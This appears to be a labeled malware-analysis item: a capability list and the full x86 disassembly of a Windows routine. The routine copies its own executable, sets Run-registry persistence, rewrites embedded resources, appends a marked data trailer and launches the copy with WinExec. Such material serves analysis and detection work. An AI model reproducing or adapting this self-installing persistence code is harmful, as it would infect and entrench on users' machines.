Function at 0x404940
Capabilities:
Copy file
Create process on windows
Extract resource via kernel32 functions
Get hostname
Persist via run registry key
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xae8
lea eax, [esp + 0x1e0]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or ecx, 0xffffffff
xor eax, eax
mov edi, dword [esp + 0xaf8]
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x1c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40b474
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [0x40d848]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll__strlwr]
call esi
lea ecx, [esp + 0x1f0]
push ecx
call esi
add esp, 8
lea esi, [esp + 0x1c]
lea eax, [esp + 0x1ec]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x404a2e
test cl, cl
je 0x404a2a
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x404a2e
add eax, 2
add esi, 2
test cl, cl
jne 0x404a06
xor eax, eax
jmp 0x404a33
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x404a43
pop edi
pop esi
pop ebx
add esp, 0xae8
ret 4
lea eax, [esp + 0x1c]
push 0
lea ecx, [esp + 0x1f0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x404a68
pop edi
pop esi
pop ebx
add esp, 0xae8
ret 4
push ebp
lea edx, [esp + 0x20]
push 0x40b420
push edx
xor ebx, ebx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x404aed
or edi, 0xffffffff
mov ebp, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push edi
push esi
call ebp
push esi
call dword [sym.imp.MSVCRT.dll_fgetc]
add esp, 0x10
cmp al, 0xaa
jne 0x404aaf
sub edi, 0x32
add ebx, 0x32
cmp edi, 0xfffff82f
jg 0x404a87
mov edi, ebx
push 2
neg edi
push edi
push esi
call ebp
push esi
push 1
lea eax, [esp + 0x30c]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push 2
push edi
push esi
call ebp
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
mov ecx, dword [esi + 0x10]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__chsize]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x38
lea edx, [esp + 0x1c]
lea eax, [esp + 0x18c]
push edx
push eax
mov dword [esp + 0x24], 0x64
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x128]
push eax
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
add esp, 8
call esi
push eax
call esi
lea ecx, [esp + 0x190]
push eax
push ecx
lea edx, [esp + 0x134]
push str._s__04X_04X
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + ebx + 0x30c]
mov ecx, 0xc
lea esi, [esp + 0x13c]
mov byte [esp + 0x16d], 0xaa
rep movsd dword es:[edi], dword [esi]
add esp, 0x14
lea eax, [esp + 0x18]
movsw word es:[edi], word [esi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
add ebx, 0x32
call esi
mov edi, dword [sym.imp.MSVCRT.dll__mbslen]
lea ecx, [esp + 0x20]
push ecx
call edi
mov ecx, dword [esp + 0x1c]
add esp, 4
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x20]
push eax
mov eax, dword [0x40d848]
push edx
push 1
push 0
push eax
push ecx
call ebp
lea edx, [esp + 0x18]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call esi
lea eax, [esp + 0x20]
push eax
call edi
mov edx, dword [0x40d848]
add esp, 4
lea ecx, [esp + 0x20]
push eax
mov eax, dword [esp + 0x1c]
push ecx
push 1
push 0
push edx
push eax
call ebp
push 0xe
push 2
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0
call edi
push 3
push 2
push 0
mov esi, eax
call edi
test esi, esi
mov edi, eax
je 0x404cb6
test edi, edi
je 0x404cb6
mov ebp, dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
call ebp
push edi
push 0
mov dword [esp + 0x18], eax
call ebp
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
mov dword [esp + 0x18], eax
call esi
push edi
push 0
mov dword [esp + 0x1c], eax
call esi
mov edi, eax
lea eax, [esp + 0x20]
push 0
push eax
mov word [ebp + 0x12], 1
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
mov ecx, dword [esp + 0x14]
push ecx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push 0x409
push 1
push 0xe
push esi
call ebp
push edi
mov edx, dword [esp + 0x14]
push edx
push 0x409
push 1
push 3
push esi
call ebp
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
lea eax, [esp + 0x20]
push 0x40b420
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov esi, eax
test esi, esi
pop ebp
je 0x404cf7
push 2
push 0
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 1
lea ecx, [esp + 0x308]
push ebx
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x20
lea edx, [esp + 0x1c]
push 5
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
add esp, 0xae8
ret 4